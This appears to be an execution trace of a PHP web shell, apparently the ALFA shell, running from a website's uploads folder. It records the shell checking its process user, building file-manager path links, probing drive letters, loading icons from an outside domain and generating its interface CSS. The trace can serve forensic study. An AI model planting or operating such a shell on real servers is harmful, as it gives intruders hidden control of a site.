4 85 0 0.015035 2772944 function_exists 0 /var/www/html/uploads/alfa.php 1029 1 'posix_geteuid'
4 85 1 0.015048 2772984
4 85 R TRUE
4 86 0 0.015061 2772944 posix_geteuid 0 /var/www/html/uploads/alfa.php 1029 0
4 86 1 0.015074 2772944
4 86 R 33
4 87 0 0.015087 2772944 posix_getpwuid 0 /var/www/html/uploads/alfa.php 1029 1 33
4 87 1 0.015125 2773776
4 87 R ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
3 A /var/www/html/uploads/alfa.php 1029 $uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
4 88 0 0.015169 2773744 function_exists 0 /var/www/html/uploads/alfa.php 1030 1 'posix_getgrgid'
4 88 1 0.015182 2773784
4 88 R TRUE
4 89 0 0.015194 2773744 function_exists 0 /var/www/html/uploads/alfa.php 1030 1 'posix_getegid'
4 89 1 0.015207 2773784
4 89 R TRUE
4 90 0 0.015220 2773744 posix_getegid 0 /var/www/html/uploads/alfa.php 1030 0
4 90 1 0.015233 2773744
4 90 R 33
4 91 0 0.015245 2773744 posix_getgrgid 0 /var/www/html/uploads/alfa.php 1030 1 33
4 91 1 0.015272 2774408
4 91 R ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
3 A /var/www/html/uploads/alfa.php 1030 $gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
3 A /var/www/html/uploads/alfa.php 1031 $user = 'www-data'
3 A /var/www/html/uploads/alfa.php 1032 $uid = 33
3 A /var/www/html/uploads/alfa.php 1033 $group = 'www-data'
3 A /var/www/html/uploads/alfa.php 1034 $gid = 33
3 A /var/www/html/uploads/alfa.php 1036 $cwd_links = ''
4 92 0 0.015358 2773024 explode 0 /var/www/html/uploads/alfa.php 1037 2 '/' '/var/www/html/uploads/'
4 92 1 0.015373 2773632
4 92 R [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
3 A /var/www/html/uploads/alfa.php 1037 $path = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
3 A /var/www/html/uploads/alfa.php 1038 $n = 6
3 A /var/www/html/uploads/alfa.php 1039 $i = 0
3 A /var/www/html/uploads/alfa.php 1040 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3 A /var/www/html/uploads/alfa.php 1041 $cach_cwd_path = ''
3 A /var/www/html/uploads/alfa.php 1042 $j = 0
3 A /var/www/html/uploads/alfa.php 1043 $cwd_links .= '/'
3 A /var/www/html/uploads/alfa.php 1044 $cach_cwd_path .= '/'
3 A /var/www/html/uploads/alfa.php 1042 $j++
3 A /var/www/html/uploads/alfa.php 1046 $cwd_links .= '")\' path=\'/\' href=\'#action=fileman&path=/\'>/</a>'
3 A /var/www/html/uploads/alfa.php 1039 $i++
3 A /var/www/html/uploads/alfa.php 1040 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3 A /var/www/html/uploads/alfa.php 1041 $cach_cwd_path = ''
3 A /var/www/html/uploads/alfa.php 1042 $j = 0
3 A /var/www/html/uploads/alfa.php 1043 $cwd_links .= '/'
3 A /var/www/html/uploads/alfa.php 1044 $cach_cwd_path .= '/'
3 A /var/www/html/uploads/alfa.php 1042 $j++
3 A /var/www/html/uploads/alfa.php 1043 $cwd_links .= 'var/'
3 A /var/www/html/uploads/alfa.php 1044 $cach_cwd_path .= 'var/'
3 A /var/www/html/uploads/alfa.php 1042 $j++
3 A /var/www/html/uploads/alfa.php 1046 $cwd_links .= '")\' path=\'/var/\' href=\'#action=fileman&path=/var/\'>var/</a>'
3 A /var/www/html/uploads/alfa.php 1039 $i++
3 A /var/www/html/uploads/alfa.php 1040 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3 A /var/www/html/uploads/alfa.php 1041 $cach_cwd_path = ''
3 A /var/www/html/uploads/alfa.php 1042 $j = 0
3 A /var/www/html/uploads/alfa.php 1043 $cwd_links .= '/'
3 A /var/www/html/uploads/alfa.php 1044 $cach_cwd_path .= '/'
3 A /var/www/html/uploads/alfa.php 1042 $j++
3 A /var/www/html/uploads/alfa.php 1043 $cwd_links .= 'var/'
3 A /var/www/html/uploads/alfa.php 1044 $cach_cwd_path .= 'var/'
3 A /var/www/html/uploads/alfa.php 1042 $j++
3 A /var/www/html/uploads/alfa.php 1043 $cwd_links .= 'www/'
3 A /var/www/html/uploads/alfa.php 1044 $cach_cwd_path .= 'www/'
3 A /var/www/html/uploads/alfa.php 1042 $j++
3 A /var/www/html/uploads/alfa.php 1046 $cwd_links .= '")\' path=\'/var/www/\' href=\'#action=fileman&path=/var/www/\'>www/</a>'
3 A /var/www/html/uploads/alfa.php 1039 $i++
3 A /var/www/html/uploads/alfa.php 1040 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3 A /var/www/html/uploads/alfa.php 1041 $cach_cwd_path = ''
3 A /var/www/html/uploads/alfa.php 1042 $j = 0
3 A /var/www/html/uploads/alfa.php 1043 $cwd_links .= '/'
3 A /var/www/html/uploads/alfa.php 1044 $cach_cwd_path .= '/'
3 A /var/www/html/uploads/alfa.php 1042 $j++
3 A /var/www/html/uploads/alfa.php 1043 $cwd_links .= 'var/'
3 A /var/www/html/uploads/alfa.php 1044 $cach_cwd_path .= 'var/'
3 A /var/www/html/uploads/alfa.php 1042 $j++
3 A /var/www/html/uploads/alfa.php 1043 $cwd_links .= 'www/'
3 A /var/www/html/uploads/alfa.php 1044 $cach_cwd_path .= 'www/'
3 A /var/www/html/uploads/alfa.php 1042 $j++
3 A /var/www/html/uploads/alfa.php 1043 $cwd_links .= 'html/'
3 A /var/www/html/uploads/alfa.php 1044 $cach_cwd_path .= 'html/'
3 A /var/www/html/uploads/alfa.php 1042 $j++
3 A /var/www/html/uploads/alfa.php 1046 $cwd_links .= '")\' path=\'/var/www/html/\' href=\'#action=fileman&path=/var/www/html/\'>html/</a>'
3 A /var/www/html/uploads/alfa.php 1039 $i++
3 A /var/www/html/uploads/alfa.php 1040 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3 A /var/www/html/uploads/alfa.php 1041 $cach_cwd_path = ''
3 A /var/www/html/uploads/alfa.php 1042 $j = 0
3 A /var/www/html/uploads/alfa.php 1043 $cwd_links .= '/'
3 A /var/www/html/uploads/alfa.php 1044 $cach_cwd_path .= '/'
3 A /var/www/html/uploads/alfa.php 1042 $j++
3 A /var/www/html/uploads/alfa.php 1043 $cwd_links .= 'var/'
3 A /var/www/html/uploads/alfa.php 1044 $cach_cwd_path .= 'var/'
3 A /var/www/html/uploads/alfa.php 1042 $j++
3 A /var/www/html/uploads/alfa.php 1043 $cwd_links .= 'www/'
3 A /var/www/html/uploads/alfa.php 1044 $cach_cwd_path .= 'www/'
3 A /var/www/html/uploads/alfa.php 1042 $j++
3 A /var/www/html/uploads/alfa.php 1043 $cwd_links .= 'html/'
3 A /var/www/html/uploads/alfa.php 1044 $cach_cwd_path .= 'html/'
3 A /var/www/html/uploads/alfa.php 1042 $j++
3 A /var/www/html/uploads/alfa.php 1043 $cwd_links .= 'uploads/'
3 A /var/www/html/uploads/alfa.php 1044 $cach_cwd_path .= 'uploads/'
3 A /var/www/html/uploads/alfa.php 1042 $j++
3 A /var/www/html/uploads/alfa.php 1046 $cwd_links .= '")\' path=\'/var/www/html/uploads/\' href=\'#action=fileman&path=/var/www/html/uploads/\'>uploads/</a>'
3 A /var/www/html/uploads/alfa.php 1039 $i++
3 A /var/www/html/uploads/alfa.php 1048 $drives = ''
4 93 0 0.016101 2774376 range 0 /var/www/html/uploads/alfa.php 1049 2 'a' 'z'
4 93 1 0.016115 2775776
4 93 R [0 => 'a', 1 => 'b', 2 => 'c', 3 => 'd', 4 => 'e', 5 => 'f', 6 => 'g', 7 => 'h', 8 => 'i', 9 => 'j', 10 => 'k', 11 => 'l', 12 => 'm', 13 => 'n', 14 => 'o', 15 => 'p', 16 => 'q', 17 => 'r', 18 => 's', 19 => 't', 20 => 'u', 21 => 'v', 22 => 'w', 23 => 'x', 24 => 'y', 25 => 'z']
4 94 0 0.016147 2775744 is_dir 0 /var/www/html/uploads/alfa.php 1050 1 'a:\\'
4 94 1 0.016170 2775784
4 94 R FALSE
4 95 0 0.016184 2775744 is_dir 0 /var/www/html/uploads/alfa.php 1050 1 'b:\\'
4 95 1 0.016199 2775784
4 95 R FALSE
4 96 0 0.016213 2775744 is_dir 0 /var/www/html/uploads/alfa.php 1050 1 'c:\\'
4 96 1 0.016228 2775784
4 96 R FALSE
4 97 0 0.016242 2775744 is_dir 0 /var/www/html/uploads/alfa.php 1050 1 'd:\\'
4 97 1 0.016256 2775784
4 97 R FALSE
4 98 0 0.016269 2775744 is_dir 0 /var/www/html/uploads/alfa.php 1050 1 'e:\\'
4 98 1 0.016284 2775784
4 98 R FALSE
4 99 0 0.016297 2775744 is_dir 0 /var/www/html/uploads/alfa.php 1050 1 'f:\\'
4 99 1 0.016315 2775784
4 99 R FALSE
4 100 0 0.016329 2775744 is_dir 0 /var/www/html/uploads/alfa.php 1050 1 'g:\\'
4 100 1 0.016343 2775784
4 100 R FALSE
4 101 0 0.016356 2775744 is_dir 0 /var/www/html/uploads/alfa.php 1050 1 'h:\\'
4 101 1 0.016371 2775784
4 101 R FALSE
4 102 0 0.016384 2775744 is_dir 0 /var/www/html/uploads/alfa.php 1050 1 'i:\\'
4 102 1 0.016399 2775784
4 102 R FALSE
4 103 0 0.016412 2775744 is_dir 0 /var/www/html/uploads/alfa.php 1050 1 'j:\\'
4 103 1 0.016427 2775784
4 103 R FALSE
4 104 0 0.016440 2775744 is_dir 0 /var/www/html/uploads/alfa.php 1050 1 'k:\\'
4 104 1 0.016454 2775784
4 104 R FALSE
4 105 0 0.016467 2775744 is_dir 0 /var/www/html/uploads/alfa.php 1050 1 'l:\\'
4 105 1 0.016482 2775784
4 105 R FALSE
4 106 0 0.016494 2775744 is_dir 0 /var/www/html/uploads/alfa.php 1050 1 'm:\\'
4 106 1 0.016508 2775784
4 106 R FALSE
4 107 0 0.016521 2775744 is_dir 0 /var/www/html/uploads/alfa.php 1050 1 'n:\\'
4 107 1 0.016535 2775784
4 107 R FALSE
4 108 0 0.016548 2775744 is_dir 0 /var/www/html/uploads/alfa.php 1050 1 'o:\\'
4 108 1 0.016562 2775784
4 108 R FALSE
4 109 0 0.016577 2775744 is_dir 0 /var/www/html/uploads/alfa.php 1050 1 'p:\\'
4 109 1 0.016591 2775784
4 109 R FALSE
4 110 0 0.016624 2775744 is_dir 0 /var/www/html/uploads/alfa.php 1050 1 'q:\\'
4 110 1 0.016640 2775784
4 110 R FALSE
4 111 0 0.016653 2775744 is_dir 0 /var/www/html/uploads/alfa.php 1050 1 'r:\\'
4 111 1 0.016667 2775784
4 111 R FALSE
4 112 0 0.016681 2775744 is_dir 0 /var/www/html/uploads/alfa.php 1050 1 's:\\'
4 112 1 0.016695 2775784
4 112 R FALSE
4 113 0 0.016708 2775744 is_dir 0 /var/www/html/uploads/alfa.php 1050 1 't:\\'
4 113 1 0.016722 2775784
4 113 R FALSE
4 114 0 0.016735 2775744 is_dir 0 /var/www/html/uploads/alfa.php 1050 1 'u:\\'
4 114 1 0.016749 2775784
4 114 R FALSE
4 115 0 0.016762 2775744 is_dir 0 /var/www/html/uploads/alfa.php 1050 1 'v:\\'
4 115 1 0.016776 2775784
4 115 R FALSE
4 116 0 0.016789 2775744 is_dir 0 /var/www/html/uploads/alfa.php 1050 1 'w:\\'
4 116 1 0.016803 2775784
4 116 R FALSE
4 117 0 0.016820 2775744 is_dir 0 /var/www/html/uploads/alfa.php 1050 1 'x:\\'
4 117 1 0.016841 2775784
4 117 R FALSE
4 118 0 0.016862 2775744 is_dir 0 /var/www/html/uploads/alfa.php 1050 1 'y:\\'
4 118 1 0.016883 2775784
4 118 R FALSE
4 119 0 0.016903 2775744 is_dir 0 /var/www/html/uploads/alfa.php 1050 1 'z:\\'
4 119 1 0.016930 2775784
4 119 R FALSE
3 A /var/www/html/uploads/alfa.php 1052 $csscode = '\t-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation'
4 120 0 0.016983 2774376 __showicon 1 /var/www/html/uploads/alfa.php 1058 1 'alfamini'
4 A /var/www/html/uploads/alfa.php 1237 $s['btn'] = 'http://solevisible.com/images/btn.png'
4 A /var/www/html/uploads/alfa.php 1238 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4 A /var/www/html/uploads/alfa.php 1239 $s['loader'] = 'http://solevisible.com/images/loader.svg'
4 120 1 0.017070 2774376
4 120 R 'http://solevisible.com/images/alfamini.png'
4 121 0 0.017565 2789336 alfa_getColor 1 /var/www/html/uploads/alfa.php 1069 1 'header_values'
4 A /var/www/html/uploads/alfa.php 618 $target = '#67ABDF'
4 121 1 0.017619 2789336
4 121 R '#67ABDF'
4 122 0 0.017643 2790872 __showicon 1 /var/www/html/uploads/alfa.php 1069 1 'alfamini'
4 A /var/www/html/uploads/alfa.php 1237 $s['btn'] = 'http://solevisible.com/images/btn.png'
4 A /var/www/html/uploads/alfa.php 1238 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4 A /var/www/html/uploads/alfa.php 1239 $s['loader'] = 'http://solevisible.com/images/loader.svg'
4 122 1 0.017719 2790872
4 122 R 'http://solevisible.com/images/alfamini.png'
4 123 0 0.017747 2794968 __showicon 1 /var/www/html/uploads/alfa.php 1069 1 'alfamini'
4 A /var/www/html/uploads/alfa.php 1237 $s['btn'] = 'http://solevisible.com/images/btn.png'
4 A /var/www/html/uploads/alfa.php 1238 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4 A /var/www/html/uploads/alfa.php 1239 $s['loader'] = 'http://solevisible.com/images/loader.svg'
4 123 1 0.017818 2794968
4 123 R 'http://solevisible.com/images/alfamini.png'
4 124 0 0.017843 2794968 __showicon 1 /var/www/html/uploads/alfa.php 1069 1 'btn'
4 A /var/www/html/uploads/alfa.php 1237 $s['btn'] = 'http://solevisible.com/images/btn.png'
4 A /var/www/html/uploads/alfa.php 1238 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4 A /var/www/html/uploads/alfa.php 1239 $s['loader'] = 'http://solevisible.com/images/loader.svg'
4 124 1 0.017911 2794968
4 124 R 'http://solevisible.com/images/btn.png'
4 125 0 0.017936 2794968 is_writable 0 /var/www/html/uploads/alfa.php 1070 1 '/var/www/html/uploads/'
4 125 1 0.017969 2795008
4 125 R TRUE
4 126 0 0.017994 2799064 alfaCssLoadColors 1 /var/www/html/uploads/alfa.php 1070 0
4 A /var/www/html/uploads/alfa.php 627 $css = ''
4 A /var/www/html/uploads/alfa.php 628 $key = 'shell_border'
4 A /var/www/html/uploads/alfa.php 634 $k = '.header'
5 127 0 0.018061 2799064 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'shell_border'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5 127 1 0.018116 2799064
5 127 R '#0E304A'
4 A /var/www/html/uploads/alfa.php 635 $color = '#0E304A'
5 128 0 0.018155 2799064 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#0E304A' 'border: 7px solid {color}'
5 128 1 0.018180 2799216
5 128 R 'border: 7px solid #0E304A'
4 A /var/www/html/uploads/alfa.php 636 $code = 'border: 7px solid #0E304A'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.header{border: 7px solid #0E304A}'
4 A /var/www/html/uploads/alfa.php 634 $k = '#meunlist'
5 129 0 0.018284 2799184 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'shell_border'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5 129 1 0.018320 2799184
5 129 R '#0E304A'
4 A /var/www/html/uploads/alfa.php 635 $color = '#0E304A'
5 130 0 0.018345 2799184 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#0E304A' 'border-color: {color}'
5 130 1 0.018368 2799328
5 130 R 'border-color: #0E304A'
4 A /var/www/html/uploads/alfa.php 636 $code = 'border-color: #0E304A'
4 A /var/www/html/uploads/alfa.php 637 $css .= '#meunlist{border-color: #0E304A}'
4 A /var/www/html/uploads/alfa.php 634 $k = '#hidden_sh'
5 131 0 0.018423 2799208 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'shell_border'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5 131 1 0.018458 2799208
5 131 R '#0E304A'
4 A /var/www/html/uploads/alfa.php 635 $color = '#0E304A'
5 132 0 0.018482 2799208 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#0E304A' 'background-color: {color}'
5 132 1 0.018498 2799360
5 132 R 'background-color: #0E304A'
4 A /var/www/html/uploads/alfa.php 636 $code = 'background-color: #0E304A'
4 A /var/www/html/uploads/alfa.php 637 $css .= '#hidden_sh{background-color: #0E304A}'
4 A /var/www/html/uploads/alfa.php 634 $k = '.ajaxarea'
5 133 0 0.018547 2799248 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'shell_border'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5 133 1 0.018581 2799248
5 133 R '#0E304A'
4 A /var/www/html/uploads/alfa.php 635 $color = '#0E304A'
5 134 0 0.018605 2799248 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#0E304A' 'border: 1px solid {color}'
5 134 1 0.018621 2799400
5 134 R 'border: 1px solid #0E304A'
4 A /var/www/html/uploads/alfa.php 636 $code = 'border: 1px solid #0E304A'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.ajaxarea{border: 1px solid #0E304A}'
4 A /var/www/html/uploads/alfa.php 634 $k = '.foot'
5 135 0 0.018670 2799312 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'shell_border'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5 135 1 0.018703 2799312
5 135 R '#0E304A'
4 A /var/www/html/uploads/alfa.php 635 $color = '#0E304A'
5 136 0 0.018727 2799312 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#0E304A' 'border-color: {color}'
5 136 1 0.018741 2799456
5 136 R 'border-color: #0E304A'
4 A /var/www/html/uploads/alfa.php 636 $code = 'border-color: #0E304A'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.foot{border-color: #0E304A}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'header_vars'
5 137 0 0.018790 2799304 alfa_getColor 1 /var/www/html/uploads/alfa.php 630 1 'header_vars'
5 A /var/www/html/uploads/alfa.php 618 $target = '#27979B'
5 137 1 0.018814 2799304
5 137 R '#27979B'
4 A /var/www/html/uploads/alfa.php 630 $value = '#27979B'
4 A /var/www/html/uploads/alfa.php 631 $css .= '.header_vars{color: #27979B;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'header_values'
5 138 0 0.018862 2799336 alfa_getColor 1 /var/www/html/uploads/alfa.php 630 1 'header_values'
5 A /var/www/html/uploads/alfa.php 618 $target = '#67ABDF'
5 138 1 0.018886 2799336
5 138 R '#67ABDF'
4 A /var/www/html/uploads/alfa.php 630 $value = '#67ABDF'
4 A /var/www/html/uploads/alfa.php 631 $css .= '.header_values{color: #67ABDF;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'header_on'
5 139 0 0.018931 2799368 alfa_getColor 1 /var/www/html/uploads/alfa.php 630 1 'header_on'
5 A /var/www/html/uploads/alfa.php 618 $target = '#00FF00'
5 139 1 0.018955 2799368
5 139 R '#00FF00'
4 A /var/www/html/uploads/alfa.php 630 $value = '#00FF00'
4 A /var/www/html/uploads/alfa.php 631 $css .= '.header_on{color: #00FF00;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'header_off'
5 140 0 0.019004 2799432 alfa_getColor 1 /var/www/html/uploads/alfa.php 630 1 'header_off'
5 A /var/www/html/uploads/alfa.php 618 $target = '#ff0000'
5 140 1 0.019028 2799432
5 140 R '#ff0000'
4 A /var/www/html/uploads/alfa.php 630 $value = '#ff0000'
4 A /var/www/html/uploads/alfa.php 631 $css .= '.header_off{color: #ff0000;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'header_none'
5 141 0 0.019073 2799432 alfa_getColor 1 /var/www/html/uploads/alfa.php 630 1 'header_none'
5 A /var/www/html/uploads/alfa.php 618 $target = '#00FF00'
5 141 1 0.019096 2799432
5 141 R '#00FF00'
4 A /var/www/html/uploads/alfa.php 630 $value = '#00FF00'
4 A /var/www/html/uploads/alfa.php 631 $css .= '.header_none{color: #00FF00;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'home_shell'
5 142 0 0.019141 2799496 alfa_getColor 1 /var/www/html/uploads/alfa.php 630 1 'home_shell'
5 A /var/www/html/uploads/alfa.php 618 $target = '#ff0000'
5 142 1 0.019164 2799496
5 142 R '#ff0000'
4 A /var/www/html/uploads/alfa.php 630 $value = '#ff0000'
4 A /var/www/html/uploads/alfa.php 631 $css .= '.home_shell{color: #ff0000;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'home_shell:hover'
4 A /var/www/html/uploads/alfa.php 634 $k = '.home_shell:hover'
5 143 0 0.019219 2799496 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'home_shell:hover'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.home_shell:hover' => 'color: {color};']]
5 143 1 0.019248 2799496
5 143 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.php 635 $color = '#FFFFFF'
5 144 0 0.019272 2799496 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 144 1 0.019287 2799632
5 144 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.home_shell:hover{color: #FFFFFF;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'back_shell'
5 145 0 0.019333 2799552 alfa_getColor 1 /var/www/html/uploads/alfa.php 630 1 'back_shell'
5 A /var/www/html/uploads/alfa.php 618 $target = '#efbe73'
5 145 1 0.019357 2799552
5 145 R '#efbe73'
4 A /var/www/html/uploads/alfa.php 630 $value = '#efbe73'
4 A /var/www/html/uploads/alfa.php 631 $css .= '.back_shell{color: #efbe73;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'back_shell:hover'
4 A /var/www/html/uploads/alfa.php 634 $k = '.back_shell:hover'
5 146 0 0.019412 2799552 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'back_shell:hover'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.back_shell:hover' => 'color: {color};']]
5 146 1 0.019442 2799552
5 146 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.php 635 $color = '#FFFFFF'
5 147 0 0.019465 2799552 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 147 1 0.019480 2799688
5 147 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.back_shell:hover{color: #FFFFFF;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'header_pwd'
5 148 0 0.019527 2799616 alfa_getColor 1 /var/www/html/uploads/alfa.php 630 1 'header_pwd'
5 A /var/www/html/uploads/alfa.php 618 $target = '#00FF00'
5 148 1 0.019550 2799616
5 148 R '#00FF00'
4 A /var/www/html/uploads/alfa.php 630 $value = '#00FF00'
4 A /var/www/html/uploads/alfa.php 631 $css .= '.header_pwd{color: #00FF00;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'header_pwd:hover'
4 A /var/www/html/uploads/alfa.php 634 $k = '.header_pwd:hover'
5 149 0 0.019605 2799616 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'header_pwd:hover'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.header_pwd:hover' => 'color: {color};']]
5 149 1 0.019636 2799616
5 149 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.php 635 $color = '#FFFFFF'
5 150 0 0.019660 2799616 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 150 1 0.019675 2799752
5 150 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.header_pwd:hover{color: #FFFFFF;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'header_drive'
5 151 0 0.019720 2799744 alfa_getColor 1 /var/www/html/uploads/alfa.php 630 1 'header_drive'
5 A /var/www/html/uploads/alfa.php 618 $target = '#00FF00'
5 151 1 0.019743 2799744
5 151 R '#00FF00'
4 A /var/www/html/uploads/alfa.php 630 $value = '#00FF00'
4 A /var/www/html/uploads/alfa.php 631 $css .= '.header_drive{color: #00FF00;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'header_drive:hover'
4 A /var/www/html/uploads/alfa.php 634 $k = '.header_drive:hover'
5 152 0 0.019799 2799744 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'header_drive:hover'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.header_drive:hover' => 'color: {color};']]
5 152 1 0.019828 2799744
5 152 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.php 635 $color = '#FFFFFF'
5 153 0 0.019851 2799744 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 153 1 0.019866 2799880
5 153 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.header_drive:hover{color: #FFFFFF;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'header_show_all'
5 154 0 0.019911 2799744 alfa_getColor 1 /var/www/html/uploads/alfa.php 630 1 'header_show_all'
5 A /var/www/html/uploads/alfa.php 618 $target = '#00FF00'
5 154 1 0.019935 2799744
5 154 R '#00FF00'
4 A /var/www/html/uploads/alfa.php 630 $value = '#00FF00'
4 A /var/www/html/uploads/alfa.php 631 $css .= '.header_show_all{color: #00FF00;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'disable_functions'
5 155 0 0.019980 2799744 alfa_getColor 1 /var/www/html/uploads/alfa.php 630 1 'disable_functions'
5 A /var/www/html/uploads/alfa.php 618 $target = '#ff0000'
5 155 1 0.020005 2799744
5 155 R '#ff0000'
4 A /var/www/html/uploads/alfa.php 630 $value = '#ff0000'
4 A /var/www/html/uploads/alfa.php 631 $css .= '.disable_functions{color: #ff0000;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'footer_text'
5 156 0 0.020050 2799872 alfa_getColor 1 /var/www/html/uploads/alfa.php 630 1 'footer_text'
5 A /var/www/html/uploads/alfa.php 618 $target = '#27979B'
5 156 1 0.020075 2799872
5 156 R '#27979B'
4 A /var/www/html/uploads/alfa.php 630 $value = '#27979B'
4 A /var/www/html/uploads/alfa.php 631 $css .= '.footer_text{color: #27979B;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'menu_options'
5 157 0 0.020120 2799872 alfa_getColor 1 /var/www/html/uploads/alfa.php 630 1 'menu_options'
5 A /var/www/html/uploads/alfa.php 618 $target = '#27979B'
5 157 1 0.020144 2799872
5 157 R '#27979B'
4 A /var/www/html/uploads/alfa.php 630 $value = '#27979B'
4 A /var/www/html/uploads/alfa.php 631 $css .= '.menu_options{color: #27979B;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'menu_options:hover'
4 A /var/www/html/uploads/alfa.php 634 $k = '.menu_options:hover'
5 158 0 0.020201 2799872 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'menu_options:hover'
